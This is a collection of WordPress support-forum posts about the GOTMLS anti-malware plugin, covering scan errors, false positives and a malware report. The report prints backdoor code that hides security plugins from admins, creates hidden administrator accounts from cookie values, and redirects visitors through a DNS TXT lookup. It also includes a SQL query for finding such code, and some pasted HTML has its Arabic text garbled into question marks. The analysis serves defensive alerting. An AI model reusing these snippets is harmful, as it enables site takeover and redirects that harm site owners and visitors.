First time it fixed 2 issues. Now it stops by 2%

https://www.dropbox.com/scl/fi/xmvvy3myp6ymgc21jn4gw/Bildschirmfoto-2024-11-11-um-11.54.44.png?rlkey=8qgsy6u6c345z5pl7okpzcwpv&dl=0

Hi, I’d like to thank you sincerely for the amazing free plugin.

I tried to find a direct contact channel to you and couldn’t hence I just decided to shoot up a support topic..

We are running a small hosting firm (wpworld.host) and I would like to utilize your plugin as a headless security system, if possible. Essentially, since your capabilities of malware detection and automatic cleaning are so neat, I’d like to give our users (for a small upsell, which we are happy to share profits of) the option to install the plugin on their site (but without the current branding, with ours, or without any), and then in a headless manner through our hosting web app, to be able to: Run malware scans of all kinds and present results, automatically fix all problems. We’d like the threads/signatures to be updated automatically as well (again, importantly, we would need to have our branding or no branding only).?

In order to communicate with the plugin heedlessly, we’d need to develop api endpoints that do what we need.

I’d love to cooperate with you on that if you are open to it.

1. Are you open to this?
2. Would you be interested in participating in the development of this headless “add-on” which removes/changes branding and provide API endpoints to do what we need?

Given the answers to the above we can possibly continue. 

In the hope that we can work together.

Ilya

WPWorld CEO

Email: [email protected]

This came up on a scan today: /plugins/modern-events-calendar-lite/app/libraries/filessystem.php Below is the full code of that file. Thank you

<?php
/** no direct access **/
defined('MECEXEC') or die();

/**
 * Webnus MEC File class.
 * @author Webnus <[email protected]>
 */
class MEC_file extends MEC_base
{
    /**
     * Constructor method
     * @author Webnus <[email protected]>
     */
    public function __construct()
    {
    }
    
    /**
     * @author Webnus <[email protected]>
     * @param string $file
     * @return string
     */
	public static function getExt($file)
	{
	    $ex = explode('.', $file);
		return end($ex);
	}
    
    /**
     * @author Webnus <[email protected]>
     * @param string $file
     * @return string
     */
	public static function stripExt($file)
	{
		return preg_replace('#\.[^.]*$#', '', $file);
	}
    
    /**
     * @author Webnus <[email protected]>
     * @param string $file
     * @return string
     */
	public static function makeSafe($file)
	{
		$regex = array('#(\.){2,}#', '#[^A-Za-z0-9\.\_\- ]#', '#^\.#');
		return preg_replace($regex, '', $file);
	}
    
    /**
     * @author Webnus <[email protected]>
     * @param string $src
     * @param string $dest
     * @param string $path
     * @return boolean
     */
	public static function copy($src, $dest, $path = null)
	{
		// Prepend a base path if it exists
		if ($path)
		{
			$src = MEC_path::clean($path . '/' . $src);
			$dest = MEC_path::clean($path . '/' . $dest);
		}

		// Check src path
		if (!is_readable($src))
		{
			return false;
		}

		if (!@ copy($src, $dest))
		{
			return false;
		}
		
		return true;
	}
    
    /**
     * @author Webnus <[email protected]>
     * @param string $file
     * @return boolean
     */
	public static function delete($file)
	{
		if(is_array($file))
		{
			$files = $file;
		}
		else
		{
			$files[] = $file;
		}

		foreach($files as $file)
		{
			$file = MEC_path::clean($file);
			
			@chmod($file, 0777);
			@unlink($file);
		}

		return true;
	}

    /**
     * @author Webnus <[email protected]>
     * @param string $src
     * @param string $dest
     * @param string $path
     * @return boolean
     */
	public static function move($src, $dest, $path = '')
	{
		if($path)
		{
			$src = MEC_path::clean($path . '/' . $src);
			$dest = MEC_path::clean($path . '/' . $dest);
		}

		// Check src path
		if(!is_readable($src)) return false;
		if(!@rename($src, $dest)) return false;
		
		return true;
	}

    /**
     * @author Webnus <[email protected]>
     * @param string $filename
     * @return boolean
     */
	public static function read($filename)
	{
		// Initialise variables.
		$fh = fopen($filename, 'rb');
		
		if(false === $fh) return false;

		clearstatcache();

		if($fsize = @filesize($filename))
		{
			$data = fread($fh, $fsize);
			
			fclose($fh);
			return $data;
		}
		else
		{
			fclose($fh);
			return false;
		}
	}
    
    /**
     * @author Webnus <[email protected]>
     * @param string $file
     * @param string $buffer
     * @return string
     */
	public static function write($file, &$buffer)
	{
		@set_time_limit(ini_get('max_execution_time'));

		// If the destination directory doesn't exist we need to create it
		if (!file_exists(dirname($file)))
		{
			MEC_folder::create(dirname($file));
		}

		$file = MEC_path::clean($file);
		$ret = is_int(file_put_contents($file, $buffer)) ? true : false;

		return $ret;
	}
    
    /**
     * @author Webnus <[email protected]>
     * @param string $src
     * @param string $dest
     * @return boolean
     */
	public static function upload($src, $dest)
	{
		// Ensure that the path is valid and clean
		$dest = MEC_path::clean($dest);
		$baseDir = dirname($dest);

		if (!file_exists($baseDir))
		{
			MEC_folder::create($baseDir);
		}

		if (is_writable($baseDir) && move_uploaded_file($src, $dest))
		{
			// Short circuit to prevent file permission errors
			if (MEC_path::setPermissions($dest)) $ret = true;
			else $ret = false;
		}
		else $ret = false;

		return $ret;
	}
    
    /**
     * @author Webnus <[email protected]>
     * @param string $file
     * @return string
     */
	public static function exists($file)
	{
		return is_file(MEC_path::clean($file));
	}

    /**
     * @author Webnus <[email protected]>
     * @param string $file
     * @return string
     */
	public static function getName($file)
	{
		// Convert backslashes to forward slashes
		$file = str_replace('\\', '/', $file);
		$slash = strrpos($file, '/');
		
		if ($slash !== false)
		{
			return substr($file, $slash + 1);
		}
		else
		{
			return $file;
		}
	}
}

/**
 * Webnus MEC Folder class.
 * @author Webnus <[email protected]>
 */
class MEC_folder extends MEC_base
{
    /**
     * Constructor method
     * @author Webnus <[email protected]>
     */
    public function __construct()
    {
        parent::__construct();
    }
    
    /**
     * @author Webnus <[email protected]>
     * @param string $src
     * @param string $dest
     * @param string $path
     * @param boolean $force
     * @return boolean
     */
	public static function copy($src, $dest, $path = '', $force = false)
	{
		@set_time_limit(ini_get('max_execution_time'));

		if ($path)
		{
			$src = MEC_path::clean($path . '/' . $src);
			$dest = MEC_path::clean($path . '/' . $dest);
		}

		// Eliminate trailing directory separators, if any
		$src = rtrim($src, DIRECTORY_SEPARATOR);
		$dest = rtrim($dest, DIRECTORY_SEPARATOR);

		if (!self::exists($src)) return false;
		if (self::exists($dest) && !$force) return false;

		// Make sure the destination exists
		if (!self::create($dest)) return false;
		if (!($dh = @opendir($src))) return false;
		
		// Walk through the directory copying files and recursing into folders.
		while (($file = readdir($dh)) !== false)
		{
			$sfid = $src . '/' . $file;
			$dfid = $dest . '/' . $file;
			
			switch (filetype($sfid))
			{
				case 'dir':
				
					if ($file != '.' && $file != '..')
					{
						$ret = self::copy($sfid, $dfid, null, $force);
						if ($ret !== true)
						{
							return $ret;
						}
					}
					break;

				case 'file':
				
					if (!@copy($sfid, $dfid))
					{
						return false;
					}
					break;
			}
		}
		
		return true;
	}
    
    /**
     * Create a folder -- and all necessary parent folders.
     * @author Webnus <[email protected]>
     * @staticvar int $nested
     * @param string $path
     * @param int $mode
     * @return boolean
     */
	public static function create($path = '', $mode = 0755)
	{
		// Initialise variables.
		static $nested = 0;

		// Check to make sure the path valid and clean
		$path = MEC_path::clean($path);

		// Check if parent dir exists
		$parent = dirname($path);
		
		if (!self::exists($parent))
		{
			// Prevent infinite loops!
			$nested++;
			if (($nested > 20) || ($parent == $path))
			{
				$nested--;
				return false;
			}

			// Create the parent directory
			if (self::create($parent, $mode) !== true)
			{
				// MEC_folder::create throws an error
				$nested--;
				return false;
			}

			// OK, parent directory has been created
			$nested--;
		}

		// Check if dir already exists
		if (self::exists($path))
		{
			return true;
		}

		// We need to get and explode the open_basedir paths
		$obd = ini_get('open_basedir');

		// If open_basedir is set we need to get the open_basedir that the path is in
		if ($obd != null)
		{
			$obdSeparator = ":";
			
			// Create the array of open_basedir paths
			$obdArray = explode($obdSeparator, $obd);
			$inBaseDir = false;
			// Iterate through open_basedir paths looking for a match
			foreach ($obdArray as $test)
			{
				$test = MEC_path::clean($test);
				if (strpos($path, $test) === 0)
				{
					$inBaseDir = true;
					break;
				}
			}
			if ($inBaseDir == false)
			{
				return false;
			}
		}

		// First set umask
		$origmask = @umask(0);

		// Create the path
		if (!$ret = @mkdir($path, $mode))
		{
			@umask($origmask);
			return false;
		}

		// Reset umask
		@umask($origmask);
		
		return $ret;
	}
    
    /**
     * @author Webnus <[email protected]>
     * @param string $path
     * @return boolean
     */
	public static function delete($path)
	{
		@set_time_limit(ini_get('max_execution_time'));

		// Sanity check
		if (!$path)
		{
			return false;
		}

		// Check to make sure the path valid and clean
		$path = MEC_path::clean($path);

		// Is this really a folder?
		if (!is_dir($path))
		{
			return false;
		}

		// Remove all the files in folder if they exist; disable all filtering
		$files = self::files($path, '.', false, true, array(), array());
		if (!empty($files))
		{
			if (MEC_file::delete($files) !== true)
			{
				return false;
			}
		}

		// Remove sub-folders of folder; disable all filtering
		$folders = self::folders($path, '.', false, true, array(), array());
		foreach ($folders as $folder)
		{
			if (is_link($folder))
			{
				if (MEC_file::delete($folder) !== true)
				{
					return false;
				}
			}
			elseif (self::delete($folder) !== true)
			{
				return false;
			}
		}

		// In case of restricted permissions we zap it one way or the other
		// as long as the owner is either the webserver or the ftp.
		if (@rmdir($path))
		{
			$ret = true;
		}
		else
		{
			$ret = false;
		}
		
		return $ret;
	}
    
    /**
     * @author Webnus <[email protected]>
     * @param string $src
     * @param string $dest
     * @param string $path
     * @return boolean
     */
	public static function move($src, $dest, $path = '')
	{
		if ($path)
		{
			$src = MEC_path::clean($path . '/' . $src);
			$dest = MEC_path::clean($path . '/' . $dest);
		}

		if (!self::exists($src)) return false;
		if (self::exists($dest)) return false;

		if (!@rename($src, $dest))
		{
			return false;
		}
		
		return true;
	}
    
    /**
     * @author Webnus <[email protected]>
     * @param string $path
     * @return string
     */
	public static function exists($path)
	{
		return is_dir(MEC_path::clean($path));
	}
    
    /**
     * @author Webnus <[email protected]>
     * @param string $path
     * @param string $filter
     * @param boolean $recurse
     * @param boolean $full
     * @param array $exclude
     * @param array $excludefilter
     * @return boolean|array
     */
	public static function files($path, $filter = '.', $recurse = false, $full = false, $exclude = array('.svn', 'CVS', '.DS_Store', '__MACOSX'), $excludefilter = array('^\..*', '.*~'))
	{
		// Check to make sure the path valid and clean
		$path = MEC_path::clean($path);

		// Is the path a folder?
		if (!is_dir($path))
		{
			return false;
		}

		// Compute the excludefilter string
		if (count($excludefilter))
		{
			$excludefilter_string = '/(' . implode('|', $excludefilter) . ')/';
		}
		else
		{
			$excludefilter_string = '';
		}

		// Get the files
		$arr = self::_items($path, $filter, $recurse, $full, $exclude, $excludefilter_string, true);

		// Sort the files
		asort($arr);
		return array_values($arr);
	}
    
    /**
     * @author Webnus <[email protected]>
     * @param string $path
     * @param string $filter
     * @param boolean $recurse
     * @param boolean $full
     * @param array $exclude
     * @param array $excludefilter
     * @return boolean|array
     */
	public static function folders($path, $filter = '.', $recurse = false, $full = false, $exclude = array('.svn', 'CVS', '.DS_Store', '__MACOSX'), $excludefilter = array('^\..*'))
	{
		// Check to make sure the path valid and clean
		$path = MEC_path::clean($path);

		// Is the path a folder?
		if (!is_dir($path))
		{
			return false;
		}

		// Compute the excludefilter string
		if (count($excludefilter))
		{
			$excludefilter_string = '/(' . implode('|', $excludefilter) . ')/';
		}
		else
		{
			$excludefilter_string = '';
		}

		// Get the folders
		$arr = self::_items($path, $filter, $recurse, $full, $exclude, $excludefilter_string, false);

		// Sort the folders
		asort($arr);
		return array_values($arr);
	}
    
    /**
     * @author Webnus <[email protected]>
     * @param string $path
     * @param string $filter
     * @param boolean $recurse
     * @param boolean $full
     * @param array $exclude
     * @param array|string $excludefilter_string
     * @param boolean $findfiles
     * @return array
     */
	protected static function _items($path, $filter, $recurse, $full, $exclude, $excludefilter_string, $findfiles)
	{
		@set_time_limit(ini_get('max_execution_time'));

		// Initialise variables.
		$arr = [];

		// Read the source directory
		if (!($handle = @opendir($path)))
		{
			return $arr;
		}

		while (($file = readdir($handle)) !== false)
		{
			if ($file != '.' && $file != '..' && !in_array($file, $exclude)
				&& (empty($excludefilter_string) || !preg_match($excludefilter_string, $file)))
			{
				// Compute the fullpath
				$fullpath = $path . '/' . $file;

				// Compute the isDir flag
				$isDir = is_dir($fullpath);

				if (($isDir xor $findfiles) && preg_match("/$filter/", $file))
				{
					// (fullpath is dir and folders are searched or fullpath is not dir and files are searched) and file matches the filter
					if ($full)
					{
						// Full path is requested
						$arr[] = $fullpath;
					}
					else
					{
						// Filename is requested
						$arr[] = $file;
					}
				}
				
				if ($isDir && $recurse)
				{
					// Search recursively
					if (is_integer($recurse))
					{
						// Until depth 0 is reached
						$arr = array_merge($arr, self::_items($fullpath, $filter, $recurse - 1, $full, $exclude, $excludefilter_string, $findfiles));
					}
					else
					{
						$arr = array_merge($arr, self::_items($fullpath, $filter, $recurse, $full, $exclude, $excludefilter_string, $findfiles));
					}
				}
			}
		}
		
		closedir($handle);
		return $arr;
	}
    
    /**
     * @author Webnus <[email protected]>
     * @param string $path
     * @return string
     */
	public static function makeSafe($path)
	{
		$regex = array('#[^A-Za-z0-9:_\\\/-]#');
		return preg_replace($regex, '', $path);
	}
}

/**
 * Webnus MEC Path class.
 * @author Webnus <[email protected]>
 */
class MEC_path extends MEC_base
{
    /**
     * Constructor method
     * @author Webnus <[email protected]>
     */
    public function __construct()
    {
        parent::__construct();
    }
    
    /**
     * @author Webnus <[email protected]>
     * @param string $path
     * @return boolean
     */
	public static function canChmod($path)
	{
		$perms = fileperms($path);
		if ($perms !== false)
		{
			if (@chmod($path, $perms ^ 0001))
			{
				@chmod($path, $perms);
				return true;
			}
		}

		return false;
	}
    
    /**
     * @author Webnus <[email protected]>
     * @param string $path
     * @param string $filemode
     * @param string $foldermode
     * @return boolean
     */
	public static function setPermissions($path, $filemode = '0644', $foldermode = '0755')
	{
		// Initialise return value
		$ret = true;

		if (is_dir($path))
		{
			$dh = opendir($path);

			while ($file = readdir($dh))
			{
				if ($file != '.' && $file != '..')
				{
					$fullpath = $path . '/' . $file;
					if (is_dir($fullpath))
					{
						if (!MEC_path::setPermissions($fullpath, $filemode, $foldermode))
						{
							$ret = false;
						}
					}
					else
					{
						if (isset($filemode))
						{
							if (!@ chmod($fullpath, octdec($filemode)))
							{
								$ret = false;
							}
						}
					}
				}
			}
			
			closedir($dh);
			if (isset($foldermode))
			{
				if (!@ chmod($path, octdec($foldermode)))
				{
					$ret = false;
				}
			}
		}
		else
		{
			if (isset($filemode))
			{
				$ret = @ chmod($path, octdec($filemode));
			}
		}

		return $ret;
	}
    
    /**
     * @author Webnus <[email protected]>
     * @param string $path
     * @return string
     */
	public static function getPermissions($path)
	{
		$path = MEC_path::clean($path);
		$mode = @ decoct(@ fileperms($path) & 0777);

		if(strlen($mode) < 3)
		{
			return '---------';
		}

		$parsed_mode = '';
		for($i = 0; $i < 3; $i++)
		{
			// read
			$parsed_mode .= ($mode[$i] & 04) ? "r" : "-";
			// write
			$parsed_mode .= ($mode[$i] & 02) ? "w" : "-";
			// execute
			$parsed_mode .= ($mode[$i] & 01) ? "x" : "-";
		}

		return $parsed_mode;
	}
    
    /**
     * @author Webnus <[email protected]>
     * @param string $path
     * @param string $ds
     * @return string
     */
	public static function check($path, $ds = DIRECTORY_SEPARATOR)
	{
		$path = MEC_path::clean($path, $ds);
		return $path;
	}
    
    /**
     * @author Webnus <[email protected]>
     * @param string $path
     * @param string $ds
     * @return string
     */
	public static function clean($path, $ds = DIRECTORY_SEPARATOR)
	{
		$path = trim($path);
		if(empty($path))
		{
			$path = BASE_PATH;
		}
		else
		{
			// Remove double slashes and backslashes and convert all slashes and backslashes to DIRECTORY_SEPARATOR
			$path = preg_replace('#[/\\\\]+#', $ds, $path);
		}

		return $path;
	}
    
    /**
     * @author Webnus <[email protected]>
     * @param array $paths
     * @param string $file
     * @return boolean
     */
	public static function find($paths, $file)
	{
		settype($paths, 'array'); //force to array

		// Start looping through the path set
		foreach ($paths as $path)
		{
			// Get the path to the file
			$fullname = $path . '/' . $file;

			// Is the path based on a stream?
			if (strpos($path, '://') === false)
			{
				// Not a stream, so do a realpath() to avoid directory
				// traversal attempts on the local file system.
				$path = realpath($path); // needed for substr() later
				$fullname = realpath($fullname);
			}

			// The substr() check added to make sure that the realpath()
			// results in a directory registered so that
			// non-registered directories are not accessible via directory
			// traversal attempts.
			if (file_exists($fullname) && substr($fullname, 0, strlen($path)) == $path)
			{
				return $fullname;
			}
		}

		return false;
	}
}

I have a reoccurring infection on several sites on one server – I’m able to find and remove the files – they’re in the form of randomly named plugins, consistently being installed with the same name in the same sites, and I can’t locate the source of the infection. There are no cron tasks, and Wordfence and GOTMLS doesn’t identify any issues, so I’m at a loss for where to look to eradicate the infection.

I have samples of the plugins I could provide if that might help identify the source.

On some of my sites the new WP 6.6.1 Site Health feature reports ‘Autoloaded options could affect performance.’

I’ve identified quite a few old/unused WP options, such as stale transients from old/uninstalled plugins. But the following two options – which add up to c.1200Kb – are being autoloaded, and as I understand it, this means the 1200Kb is loaded on every page load of my site.

GOTMLS_get_URL_array
GOTMLS_definitions_blob

So my question is – can I safely disable the Autoloading of these two WP Options? Are they used all the time – or only when performing a GOTMLS scan?

Thanks!

Anti-Malware does it job of detection of malware / backdoors on my websites where Wordfence doesn’t. However it won’t delete the files, just make the files 0 byte files. Wordfence if it finds offensive files, it repairs or deletes the malware files. With Anti-Malware, I have to manually go through the hosting’s file manager to lookup and delete files.

If it’s a bug please fix it, if it’s by design, please add an option to allow the user to delete the malware files which are not able to be repaired.

Hey everyone,

I’ve come across a new type of malware that has infected several of our WordPress installations, and what’s concerning is that none of the security scanners we used, including Wordfence, GOTMLS.NET, and about 12 others, were able to detect it. We tried all major tools, but none flagged this threat. It’s well hidden in the database, specifically in entries such as wpcode_snippets, siteurl, home, and redirection_options, and it uses advanced techniques to hide from both admins and security plugins.
The site was compromised because it had a weak password, not due to any security vulnerabilities in plugins.

Here are some of the scanners we used that failed to detect the malware:

• Wordfence
• GOTMLS.NET
• Sucuri SiteCheck
• MalCare
• iThemes Security
• All In One WP Security & Firewall
• WPScan
• Anti-Malware Security (by Eli/GOTMLS.NET)
• SecuPress
• Quttera Web Malware Scanner
• Exploit Scanner
• WPCore Scan
• WP Cerber Security
• ClamAV

Despite using this wide range of scanners, none were able to identify the malicious code injected into the database. I’m sharing this here to alert the community and to see if anyone has encountered a similar issue or has insights on how to combat it.Admin Panel Hijacking:

• The malware modifies the admin interface by hiding specific security-related plugins (like “Code Snippets”) and preventing the admin from reviewing compromised plugins and critical notifications.
• Here’s a?code snippet?used to hide plugins:

if (current_user_can('administrator') && !array_key_exists('show_all', $_GET)) {

add_action('admin_print_scripts', function () {

echo '<style>';

echo '#toplevel_page_wpcode { display: none; }';

echo '#wp-admin-bar-wpcode-admin-bar-info { display: none; }';

echo '#wpcode-notice-global-review_request { display: none; }';

echo '</style>';

});

add_filter('all_plugins', function ($plugins) {

unset($plugins['insert-headers-and-footers/ihaf.php']);

return $plugins;

});

}

Creation of Hidden Admin Users:

• The malware reads cookie data to insert admin credentials into the database and creates hidden admin users, unknown to the actual site owner.
• Here's an example of the code that creates hidden admin users:

if (!empty($_pwsa) && _gcookie('pw') === $_pwsa) {

switch (_gcookie('c')) {

case 'au':

$u = _gcookie('u');

$p = _gcookie('p');

$e = _gcookie('e');

if ($u && $p && $e && !username_exists($u)) {

$user_id = wp_create_user($u, $p, $e);

$user = new WP_User($user_id);

$user->set_role('administrator');

}

break;

}

}

Redirection of Non-Logged-In Users:

• Non-logged-in users or visitors with certain IP addresses are redirected to malicious external URLs using DNS records.
• Here’s the?redirect code

function _red() {

if (is_user_logged_in()) {

return;

}

$ip = _user_ip();

if (!$ip) {

return;

}

$req = 'malicious-domain.com'; // Example of malicious domain being resolved

$s = dns_get_record($req, DNS_TXT);

if (is_array($s) && !empty($s)) {

$redirect_url = base64_decode($s[0]['txt']);

if (substr($redirect_url, 0, 4) === 'http') {

wp_redirect($redirect_url);

exit;

}

}

}

IP and Session Tracking:

• The malware tracks IP addresses to avoid redirecting the same IP multiple times in a 24-hour period.

How We Found It:

The malware was hidden in the wp_options table, affecting entries like wpcode_snippets, siteurl, home, and redirection_options. It wasn’t detected by popular security plugins, including Wordfence.

We ran the following SQL query across all installations to identify suspicious patterns:

SELECT option_name, option_value

FROM wp_options

WHERE option_name IN ('siteurl', 'home', 'wpcode_snippets', 'wpseo', 'redirection_options')

AND (option_value LIKE '%<script%'

OR option_value LIKE '%eval%'

OR option_value LIKE '%base64_decode%'

OR option_value LIKE '%document.write%');Observed Effects:

• Non-logged-in users or visitors from unknown IPs are redirected to malicious sites.
• Hidden admin users are created without the site owner’s knowledge.
• Security plugins and important notifications are hidden from the admin panel.

What You Should Know:

• This malware injects itself into database options like?wpcode_snippets?and?siteurl, making it hard to detect via traditional scans.
• The existing WordPress security plugins (including Wordfence)?did not detect?this malware.

What Can Be Done:

If you manage WordPress sites, I highly recommend checking your wp_options table for any suspicious values using the SQL query above. If anyone from the WordPress security community or plugin developers has encountered similar issues, I would love to collaborate on identifying how this malware propagates and how we can stop it.

Feel free to reach out if you need more details or want to review the code in depth. I’ve attached the full script of the malicious code I found on injected as value the DB under a wpcode_snippets inside the wp_option table.

Be aware, the code contained in the file below is a malware, please do not install or copy this code in your eviroment for any reason.

https://file.io/RxJXp8clljh5

Stay safe, and thanks for your attention!

Hello, my site was hijacked and displayed this shell page around 10am, but at 2am that morning I had run a scan and after fixing the compromised WordPress files, everything came back clear and clean. Hence, I wanted to share this here in case it wasn’t included in the scan definitions. I was able to restore a backup of my website that is running currently. https://www.dropbox.com/scl/fi/f7jaudpqv9wm6z7aqdpl9/Screenshot-2024-08-27-at-2.19.09-PM.png?rlkey=oni6bu1ccuglgb06xcejkmjeg&dl=0

Hi! In my error log, I get the following error:

[26-Jun-2024 05:51:10 UTC] WordPress database error Table ‘abc.wp_posts’ doesn’t exist for query SELECT CONCAT(post_mime_type, ‘O’, comment_count) AS chksum, post_title FROM wp_posts WHERE post_type = ‘GOTMLS_quarantine’ AND post_status = ‘pending’ made by do_action(‘wp_ajax_GOTMLS_scan’), WP_Hook->do_action, WP_Hook->apply_filters, GOTMLS_ajax_scan, GOTMLS_scandir, GOTMLS_check_file, GOTMLS_scanfile, GOTMLS_load_contents

But my table is abc.cpe_posts, not abc.wp_posts.

How can I fix this? Does it affect the functionality of my plugin in any way?

Thank you, and congratulations on such a wonderful plugin.

Hey there,

I think the recent update is the culprit, but the logo is very large and spins over the WP Login form. Not affecting functionality overall, but have had some clients asking about it. Just wanted to give you a heads up.

Thanks

sorry for this noob question. do i have to keep wordfence active after i installed Anti-Malware?GOTMLS.NET? does it make sense to have both?

I have several problems when trying to run the plugin on a client’s website that is installed in a Windows server.

When attempting to do a complete scan, the page refreshes to a 500 Error page.

If you attempt a quick plugins folder scan for example, it seems to work. But when you try to fix the files using the plugin, the website stalls in the Examine Results modal.

The server administrator says they are willing to make any changes to the PHP installation, what would you suggest?

Hello,

I had a problem with this site https://gatosseeds.gr/ it caused the server to have a high load. I scaned with the plugin and found it clean. I asked from the sever to scan the site and said that they found 2 files corupted.

./gatosseeds.gr/wp-content/plugins/gotmls/images/index.php
./gatosseeds.gr/wp-content/plugins/gotmls/index.php

With this tread

WEBSHELL_PHP_Dynamic_Big [author=”Arnim Rupp (https://github.com/ruppde)”]

You can see the content of the file here

https://gatosseeds.gr/infect/indexinfect.txt

Scan options is not showing…

in all my domains it stopped updating, when i click update redirects to empty page

domain.com/wp-admin/admin.php?page=GOTMLS-settings&mt=60e47f47a34ff0e4c414fcf3f9b5ac44&GOTMLS_mt=16160db7d3319b60870c5b5a0fb7575f

Every now and then the plugin makes me download “New Definition Updates Are Available!”
When I no longer need the plugin, where can I download them?
If I just uninstall the plugin will the updates be deleted?
How much space do they consume?

Thanks

Since the last update (I presume) I am getting 17117716: NO_SESSION on all my sites

Hello,

I installed the plugin. It pre-fills a registration form to get an API key. All the fields are correctly filled in. I press “Register Now” and it says I should receive an email (I have a gmail address).

However, nothing happens, even waiting for minutes. Nothing in the spam folder either.

Website is https://www.dftechnosolutions.com

Best regards,
Dario Fumagalli

Any ideas?

Hi there – We noticed what we think is a false positive with the plugin https://www.ads-software.com/plugins/termageddon-usercentrics/ I’ve reached out to them about it as they weren’t aware of any security issues. The file ID’d was:
/includes/class-termageddon-usercentrics.php

Just wanted to run it by you and if there is anything funky going on with the file, I can pass along any recommendations to the plugin developer.

Thanks

scan detect “Found 8?Known Threats” like this one:

!…/public_html/wp-content/cache/wp-rocket/www.1111.com/ar/blog/%d8%a3%d9%81%d8%b6%d9%84-%d8%a8%d8%b1%d9%86%d8%a7%d9%85%d8%ac-%d9%84%d9%84%d9%81%d8%a7%d8%aa%d9%88%d8%b1%d8%a9-%d8%a7%d9%84%d8%a5%d9%84%d9%83%d8%aa%d8%b1%d9%88%d9%86%d9%8a%d8%a9-%d9%81%d9%8a-%d8%a7/index-https.html

www.vatoce.com/ar/blog/tag/%d9%85%d9%86%d8%b8%d9%88%d9%85%d8%a9-%d8%a7%d9%84%d9%81%d8%a7%d8%aa%d9%88%d8%b1%d8%a9-%d8%a7%d9%84%d8%a7%d9%84%d9%83%d8%aa%d8%b1%d9%88%d9%86%d9%8a%d8%a9/" rel="tag">?????? ???????? ??????????? ???? ????? ???????? ??????????? ???? ???????? ??????????? ???? ???????? ??????????? ???? ???????? ??????????? ???????? ???? ???????? ??????????? ???? ??????? ??????????? ???? ?????? ?????? ???????? ???????????

</div><!-- .entry-content -->

        
        <section class="related-posts">

            <h3 class="section-title">???? ????? ?????</h3>

            <div class="grids">

                    <div class="item post">
                          <div class="thumbnail">
                              <a title="" >
                                <img width="300" height="176" src="data:image/svg+xml,%3Csvg%20xmlns='https://www.w3.org/2000/svg'%20width='300'%20height='176'%20viewBox='0%200%20300%20176'%3E%3C/svg%3E" class="attachment-medium size-medium wp-post-image perfmatters-lazy" alt="???????? ????????" decoding="async" data-src="https://www.vatoce.com/wp-content/uploads/2018/05/29644-300x176.jpg" data-srcset="https://www.vatoce.com/wp-content/uploads/2018/05/29644-300x176.jpg 300w, https://www.vatoce.com/wp-content/uploads/2018/05/29644-768x451.jpg 768w, https://www.vatoce.com/wp-content/uploads/2018/05/29644.jpg 800w" data-sizes="(max-width: 300px) 100vw, 300px" /><noscript><img width="300" height="176" src="https://www.vatoce.com/wp-content/uploads/2018/05/29644-300x176.jpg" class="attachment-medium size-medium wp-post-image" alt="???????? ????????" decoding="async" srcset="https://www.vatoce.com/wp-content/uploads/2018/05/29644-300x176.jpg 300w, https://www.vatoce.com/wp-content/uploads/2018/05/29644-768x451.jpg 768w, https://www.vatoce.com/wp-content/uploads/2018/05/29644.jpg 800w" sizes="(max-width: 300px) 100vw, 300px" /></noscript></a>
                          </div>
                          <header class="entry-header">
                              <h6><a >???? ??? ???? ??? ??????? ????????? | ?????? ???????? ?????? ???? ??</a></h6>
                          </header>
                    </div>


                    <div class="item post">
                          <div class="thumbnail">
                              <a title="" >
                                <img width="300" height="144" src="data:image/svg+xml,%3Csvg%20xmlns='https://www.w3.org/2000/svg'%20width='300'%20height='144'%20viewBox='0%200%20300%20144'%3E%3C/svg%3E" class="attachment-medium size-medium wp-post-image perfmatters-lazy" alt="????? ?????? ?????? ???? ???? ?????" decoding="async" data-src="https://www.vatoce.com/wp-content/uploads/2023/03/what-is-ERP-300x144.jpg" data-srcset="https://www.vatoce.com/wp-content/uploads/2023/03/what-is-ERP-300x144.jpg 300w, https://www.vatoce.com/wp-content/uploads/2023/03/what-is-ERP-1024x493.jpg 1024w, https://www.vatoce.com/wp-content/uploads/2023/03/what-is-ERP-768x370.jpg 768w, https://www.vatoce.com/wp-content/uploads/2023/03/what-is-ERP.jpg 1500w" data-sizes="(max-width: 300px) 100vw, 300px" /><noscript><img width="300" height="144" src="https://www.vatoce.com/wp-content/uploads/2023/03/what-is-ERP-300x144.jpg" class="attachment-medium size-medium wp-post-image" alt="????? ?????? ?????? ???? ???? ?????" decoding="async" srcset="https://www.vatoce.com/wp-content/uploads/2023/03/what-is-ERP-300x144.jpg 300w, https://www.vatoce.com/wp-content/uploads/2023/03/what-is-ERP-1024x493.jpg 1024w, https://www.vatoce.com/wp-content/uploads/2023/03/what-is-ERP-768x370.jpg 768w, https://www.vatoce.com/wp-content/uploads/2023/03/what-is-ERP.jpg 1500w" sizes="(max-width: 300px) 100vw, 300px" /></noscript></a>
                          </div>
                          <header class="entry-header">
                              <h6><a >????? ?????? ?????? ???? ???? ????? – ???? ????</a></h6>
                          </header>
                    </div>


                    <div class="item post">
                          <div class="thumbnail">
                              <a title="" >
                                <img width="300" height="200" src="data:image/svg+xml,%3Csvg%20xmlns='https://www.w3.org/2000/svg'%20width='300'%20height='200'%20viewBox='0%200%20300%20200'%3E%3C/svg%3E" class="attachment-medium size-medium wp-post-image perfmatters-lazy" alt="?????? ??? ????? ??????? ?????" decoding="async" data-src="https://www.vatoce.com/wp-content/uploads/2023/03/apples-g630ec353e_1280-300x200.jpg" data-srcset="https://www.vatoce.com/wp-content/uploads/2023/03/apples-g630ec353e_1280-300x200.jpg 300w, https://www.vatoce.com/wp-content/uploads/2023/03/apples-g6

I was trying to scan a website for a client and installed your plugin, but I received an error notification, that’s probably related to PHP 8.2. The scan seems to work, but I wanted to report it anyway:

An error of type E_ERROR was caused in line 956 of the file
/.../wp-content/plugins/gotmls/index.php.
Error message: Uncaught TypeError: in_array(): Argument #2 ($haystack)
must be of type array, null given in
/.../wp-content/plugins/gotmls/index.php:956
Stack trace:
#0 /.../wp-content/plugins/gotmls/index.php(956):
in_array()
#1 /.../wp-includes/class-wp-hook.php(310):
GOTMLS_settings()
#2 /.../wp-includes/class-wp-hook.php(334):
WP_Hook->apply_filters()
#3 /.../wp-includes/plugin.php(517):
WP_Hook->do_action()
#4 /.../wp-admin/admin.php(259):
do_action()
#5 {main}

Recent plugin update states there are also new definitions, however when click on the new definition link, page not found. .error. deadlink to update.

Hi Eli,

I am using Mailster plugin @mailster.co. Today a scan reported 3 files used by this plugin as threats. Each of the files reported only the very first line of the file to be a potential threats which was :

<?php ini_set('display_errors', 0);?>

the files are:

/mailer/scheduled.php
/mailer/subscription.php
/mailer/includes/segments/segmentate.php

What do you think? false positive maybe?

As always, thanks for your help!

